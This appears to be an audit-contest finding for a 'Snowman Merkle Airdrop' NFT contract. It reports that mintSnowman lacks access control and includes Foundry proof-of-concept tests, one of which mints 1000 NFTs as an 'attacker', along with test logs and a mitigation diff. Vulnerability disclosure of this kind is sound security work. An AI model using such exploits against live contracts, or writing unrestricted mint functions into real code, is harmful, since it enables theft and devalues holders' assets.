Snowman Merkle Airdrop

AI First Flight #10
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Submission Details
Severity: high
Valid

B1: Missing Access Control in Snowman.mintSnowman

B1 — Missing Access Control in Snowman.mintSnowman Allows Unauthorized NFT Minting

Description

  • The Snowman contract is an ERC-721 collection whose NFTs are intended to be minted only by the SnowmanAirdrop contract: a user stakes Snow tokens, passes the Merkle proof, and the airdrop contract calls mintSnowman(receiver, amount) to deliver the NFTs. Minting is therefore meant to be gated by the Merkle tree and the claimed balance.

  • mintSnowman(address receiver, uint256 amount) is external and has no access-control modifier — neither onlyOwner nor a restriction to the SnowmanAirdrop address. Any address can call it directly, mint an arbitrary number of NFTs to any recipient without a Merkle proof, and inflate the collection while growing s_TokenCounter without bound.

// >>> EXTERNAL FUNCTIONS
@> function mintSnowman(address receiver, uint256 amount) external {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Risk

Likelihood: High

  • The function is external and permissionless, with no signature, Merkle proof, payment, or ownership requirement — any address can trigger it the moment the contract is live.

  • The entry point remains open for the entire lifetime of the collection, so unauthorized minting can occur repeatedly and continuously without any precondition.

Impact: Medium

  • Unlimited unauthorized minting of Snowman NFTs, inflating the collection and devaluing the assets of legitimate airdrop recipients.

  • Unbounded growth of s_TokenCounter, increasing storage and gas pressure for every subsequent mint and claim.

Severity: Medium (High likelihood × Medium impact).

Proof of Concept

The PoC demonstrates that a contract which is neither the Snowman owner nor the SnowmanAirdrop can mint NFTs successfully:

  1. Deploy a fresh Snowman (owner = the test contract) and an independent UnauthorizedMinter contract.

  2. Have UnauthorizedMinter call mintSnowman(victim, 2) and mintSnowman(victim2, 1).

  3. Assert that both recipients received the NFTs and that s_TokenCounter advanced accordingly — all calls succeed, proving the missing access control.

The core attack path uses zero vm.* cheatcodes; plain EOAs are used as recipients to avoid ERC-721 receiver checks.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test} from "forge-std/Test.sol";
import {Snowman} from "../../src/Snowman.sol";
contract UnauthorizedMinter {
// Arbitrary third-party entry point: neither the Snowman owner nor SnowmanAirdrop
function mint(Snowman snowman, address to, uint256 amount) external {
snowman.mintSnowman(to, amount);
}
}
contract B1MintSnowmanNoAccessControlTest is Test {
// Core path uses no vm.* cheatcodes: an independent unauthorized contract
// calls mintSnowman directly and mints to plain EOAs.
function test_mintSnowman_allows_unauthorized_minting() public {
Snowman snowman = new Snowman("data:image/svg+xml;base64,AAAA");
UnauthorizedMinter minter = new UnauthorizedMinter();
address victim = 0x000000000000000000000000000000000000dEaD;
address victim2 = 0x000000000000000000000000000000000000bEEF;
// minter is neither the owner nor the airdrop, yet minting succeeds
minter.mint(snowman, victim, 2);
assertEq(snowman.balanceOf(victim), 2);
assertEq(snowman.getTokenCounter(), 2);
minter.mint(snowman, victim2, 1);
assertEq(snowman.balanceOf(victim2), 1);
assertEq(snowman.getTokenCounter(), 3);
}
}

Verification: the PoC was executed in the local WSL2 network-isolated sandbox with double replay — execution_status = succeeded, verdict = supports (artifact 24d7dafe-77bf-5104-a048-654736cb8e80, toolchain 7694c3aa…), so the vulnerable behavior is confirmed to be reproducible.

Recommended Mitigation

Restrict mintSnowman so that only the SnowmanAirdrop contract can mint, and bind the allowed caller at deployment time. The modifier rejects any other caller with the existing SM__NotAllowed error, and an upper bound on amount further prevents unbounded state growth.

contract Snowman is ERC721, Ownable {
+ address private immutable i_airdrop;
+
+ modifier onlyAirdrop() {
+ if (msg.sender != i_airdrop) revert SM__NotAllowed();
+ _;
+ }
+
// >>> EXTERNAL FUNCTIONS
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external onlyAirdrop {
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

The constructor must set i_airdrop to the deployed SnowmanAirdrop address (with a zero-address check), so only valid Merkle claims can ever produce NFTs. If the collection is intended to be permissionless, this issue is informational — but that contradicts the documented airdrop distribution semantics.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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